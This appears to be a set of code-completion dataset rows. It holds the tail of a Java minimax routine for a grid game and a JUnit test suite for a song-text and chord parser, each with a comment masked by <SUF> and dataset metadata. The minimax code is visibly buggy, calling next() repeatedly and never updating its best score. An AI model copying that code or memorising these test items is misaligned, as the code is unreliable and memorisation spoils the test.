CelltPane adjacentHorizontal = searchAdjHorizontal(entry.getValue().getX(),entry.getValue().getY());
possiblesMovesHorizontal.add(entry.getKey());
counterHorizontal++;
}
}
}
}
public static int checkWiner(){
int cellVide = 0;
// 2 : v wen, -2 : h wen , 0 , Tie 1
Map<CelltPane,Position> map = TestPane.getMapCellPan();
if(counterHorizontal==0 && counterVertical==0){
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
if(!entry.getKey().isCliked()){
cellVide++;
}
}
if(cellVide==0){
System.out.println("il n'y a pas de gagnant");
return 0;
}else{
if(role=='v'){
System.out.println("Horizontal gagnant !");
return 2;
}
else if (role=='h'){
System.out.println("Vertical gagnant !");
return -2;
}
}
} else if (counterHorizontal!=0 && counterVertical==0) {
System.out.println("Vertical gagnant !");
// h is wen
return -2;
} else if (counterHorizontal==0 && counterVertical!=0) {
System.out.println("Vertical gagnant !");
// v is<SUF>
return 2;
}
return 0;
}
public void setCliked(boolean cliked) {
this.cliked = cliked;
getPossibleMouvesHorizontal();
getPossibleMouvesVertical();
System.out.println("counter horizontal -> ---- "+counterHorizontal);
System.out.println("counter vertical -> ---- "+counterVertical);
}
public boolean isCliked() {
return cliked;
}
// MINIMAX
static int minmax(TestPane pane, int depth, boolean isMaximizing) {
int result = checkWiner();
if (result != 1 || depth == 10) {
return result;
}
if (isMaximizing) {
int maxScore = Integer.MIN_VALUE;
getPossibleMouvesVertical();
List<CelltPane> listVertical = possiblesMovesVerticale;
Iterator<CelltPane> itr = listVertical.listIterator();
while (itr.hasNext()){
if(!itr.next().isCliked()){
CelltPane adjVertecal=searchAdjVertical(itr.next().row,itr.next().col);
adjVertecal.setCliked(true);
itr.next().setCliked(true);
int score =minmax(pane,depth+1,false);
itr.next().setCliked(false);
adjVertecal.setCliked(false);
maxScore = Math.max(score, maxScore);
}
}
return maxScore;
} else {
int minScore = Integer.MAX_VALUE;
getPossibleMouvesHorizontal();
List<CelltPane> listVertical = possiblesMovesHorizontal;
Iterator<CelltPane> itr = listVertical.listIterator();
while (itr.hasNext()){
if(!itr.next().isCliked()){
CelltPane adjVertecal=searchAdjHorizontal(itr.next().row,itr.next().col);
adjVertecal.setCliked(true);
itr.next().setCliked(true);
int score =minmax(pane,depth+1,true);
itr.next().setCliked(false);
adjVertecal.setCliked(false);
minScore = Math.min(score, minScore);
}
}
return minScore;
}
}
static int[] findBestMove(TestPane pane) {
int bestVal = Integer.MIN_VALUE;
int[] bestMove = {-1, -1};
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
// logique de max
getPossibleMouvesVertical();
List<CelltPane> listVertical = possiblesMovesVerticale;
Iterator<CelltPane> itr = listVertical.listIterator();
while (itr.hasNext()){
if(!itr.next().isCliked()){
CelltPane adjVertecal=searchAdjVertical(itr.next().row,itr.next().col);
adjVertecal.setCliked(true);
itr.next().setCliked(true);
int moveVal =minmax(pane,0,false);
itr.next().setCliked(false);
adjVertecal.setCliked(false);
if(moveVal > bestVal){
bestMove[0]=itr.next().row;
bestMove[1]=itr.next().col;
}
}
}
//=============
}
}
return bestMove;
}
}
|
152773_8 | package org.adonai.reader.text;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.adonai.model.Line;
import org.adonai.model.LinePart;
import org.adonai.model.Song;
import org.adonai.model.SongPart;
import org.adonai.model.SongPartType;
import org.adonai.model.SongStructItem;
import org.apache.commons.io.FileUtils;
import org.junit.Assert;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class TextfileReaderTest {
private static final Logger LOGGER = LoggerFactory.getLogger(TextfileReaderTest.class.getName());
TextfileReader textfileReader = new TextfileReader();
private List<String> createLine (final String chord,
final String text) {
List<String> lines = new ArrayList<String>();
lines.add("Title");
lines.add("");
lines.add("[Vers]");
if (chord != null)
lines.add(chord);
if (text != null)
lines.add(text);
return lines;
}
@Test
public void readIchWillDichAnbeten () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/IchWillDichAnbeten.txt"), "UTF-8");
TextfileReaderParam param = new TextfileReaderParam();
param.setEmptyLineIsNewPart(true);
Song song = textfileReader.read(content, param);
for (SongPart next: song.getSongParts()) {
System.out.println(next.getSongPartType() + "-" + next.getEqualKey());
}
for (SongStructItem songStructItem : song.getStructItems()) {
System.out.println(songStructItem.getPartId() + "-" + songStructItem.getText());
}
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(0).getPartId()); //VERS1
Assert.assertEquals (song.getSongParts().get(1).getId(), song.getStructItems().get(1).getPartId()); //REFRAIN
Assert.assertEquals (song.getSongParts().get(2).getId(), song.getStructItems().get(2).getPartId()); //VERS2
Assert.assertEquals (song.getSongParts().get(1).getId(), song.getStructItems().get(3).getPartId()); //REFRAIN
}
@Test
public void readWithRef2 () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/WithRef.txt"), "UTF-8");
TextfileReaderParam param = new TextfileReaderParam();
param.setEmptyLineIsNewPart(true);
Song song = textfileReader.read(content, param);
for (SongPart next: song.getSongParts()) {
System.out.println(next.getSongPartType() + "-" + next.getEqualKey());
}
for (SongStructItem songStructItem : song.getStructItems()) {
System.out.println(songStructItem.getPartId() + "-" + songStructItem.getText());
}
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(0).getPartId());
Assert.assertEquals (song.getSongParts().get(1).getId(), song.getStructItems().get(1).getPartId());
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(2).getPartId());
}
@Test
public void readWithRef () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/WithRef.txt"), "UTF-8");
TextfileReaderParam param = new TextfileReaderParam();
param.setEmptyLineIsNewPart(true);
Song song = textfileReader.read(content, param);
for (SongPart next: song.getSongParts()) {
System.out.println(next.getSongPartType() + "-" + next.getEqualKey());
}
for (SongStructItem songStructItem : song.getStructItems()) {
System.out.println(songStructItem.getPartId() + "-" + songStructItem.getText());
}
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(0).getPartId());
Assert.assertEquals (song.getSongParts().get(1).getId(), song.getStructItems().get(1).getPartId());
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(2).getPartId());
Assert.assertEquals (song.getSongParts().get(2).getId(), song.getStructItems().get(3).getPartId());
}
@Test
public void readExampleWithoutPartTypes () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/SongWithoutPartTypes.txt"), "UTF-8");
TextfileReaderParam param = new TextfileReaderParam();
param.setEmptyLineIsNewPart(true);
Song song = textfileReader.read(content, param);
Assert.assertEquals(2, song.getSongParts().size());
Assert.assertEquals ("First line in verse", song.getSongParts().get(0).getFirstLine().getText());
Assert.assertEquals ("second line in verse", song.getSongParts().get(0).getLastLine().getText());
Assert.assertEquals ("And then the refrain", song.getSongParts().get(1).getFirstLine().getText());
Assert.assertEquals ("without any type", song.getSongParts().get(1).getLastLine().getText());
}
@Test
public void readExample5() throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Ich tauche ein.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
SongPart intro = song.getFirstPart();
SongStructItem songStructItem = song.getFirstStructItem();
Assert.assertFalse ("2x must not be shown in line content", intro.getFirstLine().toString().contains("2x"));
Assert.assertEquals ("2", songStructItem.getQuantity());
}
@Test
public void readExample4() throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Was fuer ein Gott.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
SongPart refrain = song.getSongParts().get(2);
Assert.assertTrue (refrain.getFirstLine().getText().startsWith("Jesus hier knie ich vor dir"));
}
@Test
public void readExample3 () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Ich weiss wer ich bin.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
//[Intro] *
//[Verse 1] *
//[Chorus 1] *
//[Verse 2] *
//[Chorus 2] *
//[Bridge 1] *
//[Bridge 2] *
//[Chorus 3] *
//[Interlude] *
//[Bridge 1]
//[Bridge 1]
//[Bridge 1]
//[Bridge 3] *
//[Chorus 2]
Assert.assertEquals (10, song.getSongParts().size()); //all with * are new parts
SongPart introPart = song.getSongParts().get(0);
SongPart vers1Part = song.getSongParts().get(1);
SongPart chorus1Part = song.getSongParts().get(2);
SongPart vers2Part = song.getSongParts().get(3);
SongPart chorus2Part = song.getSongParts().get(4);
SongPart bridge1Part = song.getSongParts().get(5);
SongPart bridge2Part = song.getSongParts().get(6);
SongPart chorus3Part = song.getSongParts().get(7);
SongPart interludePart = song.getSongParts().get(8);
SongPart bridge3Part = song.getSongParts().get(9);
Assert.assertEquals (14, song.getStructItems().size()); //all with * are new parts
SongStructItem chorus2PartStruct = song.getStructItems().get(4);
SongStructItem chorus2RefStruct = song.getStructItems().get(13);
Assert.assertEquals (chorus2Part, song.findSongPart(chorus2PartStruct));
Assert.assertEquals (chorus2Part, song.findSongPart(chorus2RefStruct));
Assert.assertEquals (SongPartType.INTRO, introPart.getSongPartType());
Assert.assertEquals (SongPartType.VERS, vers1Part.getSongPartType());
Assert.assertEquals (SongPartType.REFRAIN, chorus1Part.getSongPartType());
Assert.assertEquals (SongPartType.VERS, vers2Part.getSongPartType());
Assert.assertEquals (SongPartType.REFRAIN, chorus2Part.getSongPartType());
Assert.assertEquals (SongPartType.BRIDGE, bridge1Part.getSongPartType());
Assert.assertEquals (SongPartType.BRIDGE, bridge2Part.getSongPartType());
Assert.assertEquals (SongPartType.REFRAIN, chorus3Part.getSongPartType());
Assert.assertEquals (SongPartType.ZWISCHENSPIEL, interludePart.getSongPartType());
Assert.assertEquals (SongPartType.BRIDGE, bridge3Part.getSongPartType());
}
@Test
public void readExample2 () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Ich hab noch nie.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
}
@Test
public void readExample () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Das Glaube ich.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
}
@Test
public void quantityInChordline () {
List<String> allLines = Arrays.asList("[Verse 1]", "Am F (2x)", " Alles ist cool");
Song song = textfileReader.read(allLines, new TextfileReaderParam());
SongPart firstPart = song.getFirstPart();
SongStructItem firstStructItem = song.getFirstStructItem();
Assert.assertFalse ("2x must not be shown in line content", firstPart.getFirstLine().toString().contains("2x"));
Assert.assertEquals ("2", firstStructItem.getQuantity());
}
@Test
public void quantityInTextline () {
List<String> allLines = Arrays.asList("[Verse 1]", "Am F", " Alles ist cool (2x)");
Song song = textfileReader.read(allLines, new TextfileReaderParam());
SongStructItem firstStructItem = song.getFirstStructItem();
SongPart firstPart = song.getFirstPart();
Assert.assertFalse ("2x must not be shown in line content", firstPart.getFirstLine().toString().contains("2x"));
Assert.assertEquals ("2", firstStructItem.getQuantity());
}
@Test
public void doNotStripInMiddle () {
List<String> allLines = Arrays.asList("[Verse 1]", "Am F", " Alles ist cool");
SongPart firstPart = textfileReader.read(allLines, new TextfileReaderParam()).getFirstPart();
Assert.assertEquals ("Alles ", firstPart.getFirstLine().getLineParts().get(0).getText());
Assert.assertEquals ("Am", firstPart.getFirstLine().getLineParts().get(0).getChord());
Assert.assertEquals (" ist cool", firstPart.getFirstLine().getLineParts().get(1).getText());
Assert.assertEquals ("F", firstPart.getFirstLine().getLineParts().get(1).getChord());
}
@Test
public void stripBeginning () {
List<String> allLines = Arrays.asList("[Verse 1]", "Am F", " Alles ist cool");
SongPart firstPart = textfileReader.read(allLines, new TextfileReaderParam()).getFirstPart();
Assert.assertEquals ("Alles ", firstPart.getFirstLine().getLineParts().get(0).getText());
Assert.assertEquals ("Am", firstPart.getFirstLine().getLineParts().get(0).getChord());
Assert.assertEquals ("ist cool", firstPart.getFirstLine().getLineParts().get(1).getText());
Assert.assertEquals ("F", firstPart.getFirstLine().getLineParts().get(1).getChord());
}
@Test
public void determiningTypes () {
List<String> allLines = Arrays.asList("[Verse 1]", "Hello", "", "[Pre-Chorus]", "Hello", "");
Song song = textfileReader.read(allLines, new TextfileReaderParam());
Assert.assertEquals ("First part has wrong type", SongPartType.VERS, song.getSongParts().get(0).getSongPartType());
Assert.assertEquals ("Second part has wrong type", SongPartType.BRIDGE, song.getSongParts().get(1).getSongPartType());
}
@Test
public void duplicateParts () {
List<String> allLines = Arrays.asList("[Verse 1]", "Vers1Zeile1", "", "[Chorus]", "Chorus", "[Verse 1]", "Vers1Zeile1");
LOGGER.info(allLines.toString().replace(",", "\n"));
Song song = textfileReader.read(allLines, new TextfileReaderParam());
Assert.assertEquals (2, song.getSongParts().size());
SongPart firstPart = song.getSongParts().get(0);
SongPart secondPart = song.getSongParts().get(1);
Assert.assertEquals (3, song.getStructItems().size());
SongStructItem firstStructItem = song.getStructItems().get(0);
SongStructItem secondStructItem = song.getStructItems().get(1);
SongStructItem thirdStructItem = song.getStructItems().get(2);
Assert.assertEquals ("First part has wrong type", SongPartType.REFRAIN, secondPart.getSongPartType());
Assert.assertEquals ("PartID invalid", firstPart.getId(), firstStructItem.getPartId());
Assert.assertEquals ("PartID invalid", secondPart.getId(), secondStructItem.getPartId());
Assert.assertEquals ("PartID invalid", firstPart.getId(), thirdStructItem.getPartId());
LOGGER.info("StructItems: " + song.getStructItems());
LOGGER.info("Parts: " + song.getSongParts());
}
@Test
public void isChordLineValid () {
Assert.assertTrue (textfileReader.isChordLine("G D/F# A F#m g# Dsus4"));
Assert.assertTrue (textfileReader.isChordLine("F Am G C/E F G C/E"));
}
@Test
public void twoChordLines () {
Song imported = textfileReader.read(createLine("A G/H C","C H Am"), new TextfileReaderParam());
Line firstLine = imported.getFirstPart().getLines().get(0);
Line secondLine = imported.getFirstPart().getLines().get(1);
Assert.assertEquals ("A", firstLine.getFirstLinePart().getChord());
Assert.assertEquals ("C", secondLine.getFirstLinePart().getChord());
}
@Test
public void twoTextLines () {
Song imported = textfileReader.read(createLine("First line","second line"), new TextfileReaderParam());
Assert.assertEquals ("First line", imported.getFirstPart().getLines().get(0).getFirstLinePart().getText());
Assert.assertNull(imported.getFirstPart().getLines().get(0).getFirstLinePart().getChord());
Assert.assertEquals ("second line", imported.getFirstPart().getLines().get(1).getFirstLinePart().getText());
Assert.assertNull(imported.getFirstPart().getLines().get(0).getLineParts().get(0).getChord());
Assert.assertEquals (2, imported.getFirstPart().getLines().size());
}
@Test
public void isChordLineInvalid () {
Assert.assertFalse (textfileReader.isChordLine("G D/F# A F#m g# Dsus4 das ist klar"));
}
@Test
public void withoutText () {
Song imported = textfileReader.read(createLine("A G/H C",null), new TextfileReaderParam());
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart1 = line.getLineParts().get(0);
Assert.assertEquals ("A", linePart1.getChord());
LinePart linePart2 = line.getLineParts().get(1);
Assert.assertEquals ("G/H", linePart2.getChord());
LinePart linePart3 = line.getLineParts().get(2);
Assert.assertEquals ("C", linePart3.getChord());
Assert.assertEquals (3, line.getLineParts().size());
}
@Test
public void withoutChords () {
Song imported = textfileReader.read(createLine("Dies ist ein Test",null), new TextfileReaderParam());
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart = line.getLineParts().get(0);
Assert.assertEquals ("Dies ist ein Test", linePart.getText());
Assert.assertEquals (1, line.getLineParts().size());
}
@Test
public void chordLongerThanText () {
Song imported = textfileReader.read(createLine( "F G a G/H",
"Und an Christus, Seinen Sohn"),new TextfileReaderParam());
//F G a G/H
//Und an Christus, Seinen Sohn
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart1 = line.getLineParts().get(0);
LinePart linePart2 = line.getLineParts().get(1);
LinePart linePart3 = line.getLineParts().get(2);
LinePart linePart4 = line.getLineParts().get(3);
Assert.assertEquals ("F", linePart1.getChord());
Assert.assertEquals ("Und an Christus, Seinen Soh", linePart1.getText());
Assert.assertEquals ("G", linePart2.getChord());
Assert.assertEquals ("n", linePart2.getText());
Assert.assertEquals ("Am", linePart3.getChord());
Assert.assertEquals (" ", linePart3.getText());
Assert.assertEquals ("G/H", linePart4.getChord());
Assert.assertEquals (" ", linePart4.getText());
}
@Test
public void textLongerThanChord () {
Song imported = textfileReader.read(createLine( "F G",
"Und an Christus, Seinen Sohn"), new TextfileReaderParam());
//F
//Und an Christus, Seinen Sohn
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart1 = line.getLineParts().get(0);
LinePart linePart2 = line.getLineParts().get(1);
Assert.assertEquals ("F", linePart1.getChord());
Assert.assertEquals ("Und an Christus, Seinen Soh", linePart1.getText());
Assert.assertEquals ("G", linePart2.getChord());
Assert.assertEquals ("n", linePart2.getText());
}
@Test
public void chordStartsLater () {
Song imported = textfileReader.read(createLine(" F G",
"Und an Christus, Seinen Sohn"), new TextfileReaderParam());
//Und an Christus, Seinen Sohn
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart1 = line.getLineParts().get(0);
LinePart linePart2 = line.getLineParts().get(1);
LinePart linePart3 = line.getLineParts().get(2);
Assert.assertNull (linePart1.getChord());
Assert.assertEquals ("Und an ", linePart1.getText());
Assert.assertEquals ("F", linePart2.getChord());
Assert.assertEquals ("Christus, Seinen ", linePart2.getText());
Assert.assertEquals ("G", linePart3.getChord());
Assert.assertEquals ("Sohn", linePart3.getText());
}
@Test
public void getTokens () {
String line = "G D/F# A F#m g# Dsus4";
List<Integer> tokens = textfileReader.getTokens(line);
for (Integer next: tokens) {
Assert.assertFalse (Character.isWhitespace(line.charAt(next)));
}
Assert.assertEquals ("Number of tokens invalid", 6, tokens.size());
Assert.assertEquals ('D', line.charAt(tokens.get(1)));
Assert.assertEquals ('A', line.charAt(tokens.get(2)));
Assert.assertEquals ('F', line.charAt(tokens.get(3)));
}
}
| moley/adonai | src/test/java/org/adonai/reader/text/TextfileReaderTest.java | 5,825 | //[Interlude] * | line_comment | nl | package org.adonai.reader.text;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.adonai.model.Line;
import org.adonai.model.LinePart;
import org.adonai.model.Song;
import org.adonai.model.SongPart;
import org.adonai.model.SongPartType;
import org.adonai.model.SongStructItem;
import org.apache.commons.io.FileUtils;
import org.junit.Assert;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class TextfileReaderTest {
private static final Logger LOGGER = LoggerFactory.getLogger(TextfileReaderTest.class.getName());
TextfileReader textfileReader = new TextfileReader();
private List<String> createLine (final String chord,
final String text) {
List<String> lines = new ArrayList<String>();
lines.add("Title");
lines.add("");
lines.add("[Vers]");
if (chord != null)
lines.add(chord);
if (text != null)
lines.add(text);
return lines;
}
@Test
public void readIchWillDichAnbeten () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/IchWillDichAnbeten.txt"), "UTF-8");
TextfileReaderParam param = new TextfileReaderParam();
param.setEmptyLineIsNewPart(true);
Song song = textfileReader.read(content, param);
for (SongPart next: song.getSongParts()) {
System.out.println(next.getSongPartType() + "-" + next.getEqualKey());
}
for (SongStructItem songStructItem : song.getStructItems()) {
System.out.println(songStructItem.getPartId() + "-" + songStructItem.getText());
}
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(0).getPartId()); //VERS1
Assert.assertEquals (song.getSongParts().get(1).getId(), song.getStructItems().get(1).getPartId()); //REFRAIN
Assert.assertEquals (song.getSongParts().get(2).getId(), song.getStructItems().get(2).getPartId()); //VERS2
Assert.assertEquals (song.getSongParts().get(1).getId(), song.getStructItems().get(3).getPartId()); //REFRAIN
}
@Test
public void readWithRef2 () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/WithRef.txt"), "UTF-8");
TextfileReaderParam param = new TextfileReaderParam();
param.setEmptyLineIsNewPart(true);
Song song = textfileReader.read(content, param);
for (SongPart next: song.getSongParts()) {
System.out.println(next.getSongPartType() + "-" + next.getEqualKey());
}
for (SongStructItem songStructItem : song.getStructItems()) {
System.out.println(songStructItem.getPartId() + "-" + songStructItem.getText());
}
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(0).getPartId());
Assert.assertEquals (song.getSongParts().get(1).getId(), song.getStructItems().get(1).getPartId());
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(2).getPartId());
}
@Test
public void readWithRef () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/WithRef.txt"), "UTF-8");
TextfileReaderParam param = new TextfileReaderParam();
param.setEmptyLineIsNewPart(true);
Song song = textfileReader.read(content, param);
for (SongPart next: song.getSongParts()) {
System.out.println(next.getSongPartType() + "-" + next.getEqualKey());
}
for (SongStructItem songStructItem : song.getStructItems()) {
System.out.println(songStructItem.getPartId() + "-" + songStructItem.getText());
}
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(0).getPartId());
Assert.assertEquals (song.getSongParts().get(1).getId(), song.getStructItems().get(1).getPartId());
Assert.assertEquals (song.getSongParts().get(0).getId(), song.getStructItems().get(2).getPartId());
Assert.assertEquals (song.getSongParts().get(2).getId(), song.getStructItems().get(3).getPartId());
}
@Test
public void readExampleWithoutPartTypes () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/SongWithoutPartTypes.txt"), "UTF-8");
TextfileReaderParam param = new TextfileReaderParam();
param.setEmptyLineIsNewPart(true);
Song song = textfileReader.read(content, param);
Assert.assertEquals(2, song.getSongParts().size());
Assert.assertEquals ("First line in verse", song.getSongParts().get(0).getFirstLine().getText());
Assert.assertEquals ("second line in verse", song.getSongParts().get(0).getLastLine().getText());
Assert.assertEquals ("And then the refrain", song.getSongParts().get(1).getFirstLine().getText());
Assert.assertEquals ("without any type", song.getSongParts().get(1).getLastLine().getText());
}
@Test
public void readExample5() throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Ich tauche ein.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
SongPart intro = song.getFirstPart();
SongStructItem songStructItem = song.getFirstStructItem();
Assert.assertFalse ("2x must not be shown in line content", intro.getFirstLine().toString().contains("2x"));
Assert.assertEquals ("2", songStructItem.getQuantity());
}
@Test
public void readExample4() throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Was fuer ein Gott.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
SongPart refrain = song.getSongParts().get(2);
Assert.assertTrue (refrain.getFirstLine().getText().startsWith("Jesus hier knie ich vor dir"));
}
@Test
public void readExample3 () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Ich weiss wer ich bin.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
//[Intro] *
//[Verse 1] *
//[Chorus 1] *
//[Verse 2] *
//[Chorus 2] *
//[Bridge 1] *
//[Bridge 2] *
//[Chorus 3] *
//[Interlude] <SUF>
//[Bridge 1]
//[Bridge 1]
//[Bridge 1]
//[Bridge 3] *
//[Chorus 2]
Assert.assertEquals (10, song.getSongParts().size()); //all with * are new parts
SongPart introPart = song.getSongParts().get(0);
SongPart vers1Part = song.getSongParts().get(1);
SongPart chorus1Part = song.getSongParts().get(2);
SongPart vers2Part = song.getSongParts().get(3);
SongPart chorus2Part = song.getSongParts().get(4);
SongPart bridge1Part = song.getSongParts().get(5);
SongPart bridge2Part = song.getSongParts().get(6);
SongPart chorus3Part = song.getSongParts().get(7);
SongPart interludePart = song.getSongParts().get(8);
SongPart bridge3Part = song.getSongParts().get(9);
Assert.assertEquals (14, song.getStructItems().size()); //all with * are new parts
SongStructItem chorus2PartStruct = song.getStructItems().get(4);
SongStructItem chorus2RefStruct = song.getStructItems().get(13);
Assert.assertEquals (chorus2Part, song.findSongPart(chorus2PartStruct));
Assert.assertEquals (chorus2Part, song.findSongPart(chorus2RefStruct));
Assert.assertEquals (SongPartType.INTRO, introPart.getSongPartType());
Assert.assertEquals (SongPartType.VERS, vers1Part.getSongPartType());
Assert.assertEquals (SongPartType.REFRAIN, chorus1Part.getSongPartType());
Assert.assertEquals (SongPartType.VERS, vers2Part.getSongPartType());
Assert.assertEquals (SongPartType.REFRAIN, chorus2Part.getSongPartType());
Assert.assertEquals (SongPartType.BRIDGE, bridge1Part.getSongPartType());
Assert.assertEquals (SongPartType.BRIDGE, bridge2Part.getSongPartType());
Assert.assertEquals (SongPartType.REFRAIN, chorus3Part.getSongPartType());
Assert.assertEquals (SongPartType.ZWISCHENSPIEL, interludePart.getSongPartType());
Assert.assertEquals (SongPartType.BRIDGE, bridge3Part.getSongPartType());
}
@Test
public void readExample2 () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Ich hab noch nie.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
}
@Test
public void readExample () throws IOException {
List<String> content = FileUtils.readLines(new File("src/test/resources/import/text/Das Glaube ich.txt"), "UTF-8");
Song song = textfileReader.read(content, new TextfileReaderParam());
}
@Test
public void quantityInChordline () {
List<String> allLines = Arrays.asList("[Verse 1]", "Am F (2x)", " Alles ist cool");
Song song = textfileReader.read(allLines, new TextfileReaderParam());
SongPart firstPart = song.getFirstPart();
SongStructItem firstStructItem = song.getFirstStructItem();
Assert.assertFalse ("2x must not be shown in line content", firstPart.getFirstLine().toString().contains("2x"));
Assert.assertEquals ("2", firstStructItem.getQuantity());
}
@Test
public void quantityInTextline () {
List<String> allLines = Arrays.asList("[Verse 1]", "Am F", " Alles ist cool (2x)");
Song song = textfileReader.read(allLines, new TextfileReaderParam());
SongStructItem firstStructItem = song.getFirstStructItem();
SongPart firstPart = song.getFirstPart();
Assert.assertFalse ("2x must not be shown in line content", firstPart.getFirstLine().toString().contains("2x"));
Assert.assertEquals ("2", firstStructItem.getQuantity());
}
@Test
public void doNotStripInMiddle () {
List<String> allLines = Arrays.asList("[Verse 1]", "Am F", " Alles ist cool");
SongPart firstPart = textfileReader.read(allLines, new TextfileReaderParam()).getFirstPart();
Assert.assertEquals ("Alles ", firstPart.getFirstLine().getLineParts().get(0).getText());
Assert.assertEquals ("Am", firstPart.getFirstLine().getLineParts().get(0).getChord());
Assert.assertEquals (" ist cool", firstPart.getFirstLine().getLineParts().get(1).getText());
Assert.assertEquals ("F", firstPart.getFirstLine().getLineParts().get(1).getChord());
}
@Test
public void stripBeginning () {
List<String> allLines = Arrays.asList("[Verse 1]", "Am F", " Alles ist cool");
SongPart firstPart = textfileReader.read(allLines, new TextfileReaderParam()).getFirstPart();
Assert.assertEquals ("Alles ", firstPart.getFirstLine().getLineParts().get(0).getText());
Assert.assertEquals ("Am", firstPart.getFirstLine().getLineParts().get(0).getChord());
Assert.assertEquals ("ist cool", firstPart.getFirstLine().getLineParts().get(1).getText());
Assert.assertEquals ("F", firstPart.getFirstLine().getLineParts().get(1).getChord());
}
@Test
public void determiningTypes () {
List<String> allLines = Arrays.asList("[Verse 1]", "Hello", "", "[Pre-Chorus]", "Hello", "");
Song song = textfileReader.read(allLines, new TextfileReaderParam());
Assert.assertEquals ("First part has wrong type", SongPartType.VERS, song.getSongParts().get(0).getSongPartType());
Assert.assertEquals ("Second part has wrong type", SongPartType.BRIDGE, song.getSongParts().get(1).getSongPartType());
}
@Test
public void duplicateParts () {
List<String> allLines = Arrays.asList("[Verse 1]", "Vers1Zeile1", "", "[Chorus]", "Chorus", "[Verse 1]", "Vers1Zeile1");
LOGGER.info(allLines.toString().replace(",", "\n"));
Song song = textfileReader.read(allLines, new TextfileReaderParam());
Assert.assertEquals (2, song.getSongParts().size());
SongPart firstPart = song.getSongParts().get(0);
SongPart secondPart = song.getSongParts().get(1);
Assert.assertEquals (3, song.getStructItems().size());
SongStructItem firstStructItem = song.getStructItems().get(0);
SongStructItem secondStructItem = song.getStructItems().get(1);
SongStructItem thirdStructItem = song.getStructItems().get(2);
Assert.assertEquals ("First part has wrong type", SongPartType.REFRAIN, secondPart.getSongPartType());
Assert.assertEquals ("PartID invalid", firstPart.getId(), firstStructItem.getPartId());
Assert.assertEquals ("PartID invalid", secondPart.getId(), secondStructItem.getPartId());
Assert.assertEquals ("PartID invalid", firstPart.getId(), thirdStructItem.getPartId());
LOGGER.info("StructItems: " + song.getStructItems());
LOGGER.info("Parts: " + song.getSongParts());
}
@Test
public void isChordLineValid () {
Assert.assertTrue (textfileReader.isChordLine("G D/F# A F#m g# Dsus4"));
Assert.assertTrue (textfileReader.isChordLine("F Am G C/E F G C/E"));
}
@Test
public void twoChordLines () {
Song imported = textfileReader.read(createLine("A G/H C","C H Am"), new TextfileReaderParam());
Line firstLine = imported.getFirstPart().getLines().get(0);
Line secondLine = imported.getFirstPart().getLines().get(1);
Assert.assertEquals ("A", firstLine.getFirstLinePart().getChord());
Assert.assertEquals ("C", secondLine.getFirstLinePart().getChord());
}
@Test
public void twoTextLines () {
Song imported = textfileReader.read(createLine("First line","second line"), new TextfileReaderParam());
Assert.assertEquals ("First line", imported.getFirstPart().getLines().get(0).getFirstLinePart().getText());
Assert.assertNull(imported.getFirstPart().getLines().get(0).getFirstLinePart().getChord());
Assert.assertEquals ("second line", imported.getFirstPart().getLines().get(1).getFirstLinePart().getText());
Assert.assertNull(imported.getFirstPart().getLines().get(0).getLineParts().get(0).getChord());
Assert.assertEquals (2, imported.getFirstPart().getLines().size());
}
@Test
public void isChordLineInvalid () {
Assert.assertFalse (textfileReader.isChordLine("G D/F# A F#m g# Dsus4 das ist klar"));
}
@Test
public void withoutText () {
Song imported = textfileReader.read(createLine("A G/H C",null), new TextfileReaderParam());
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart1 = line.getLineParts().get(0);
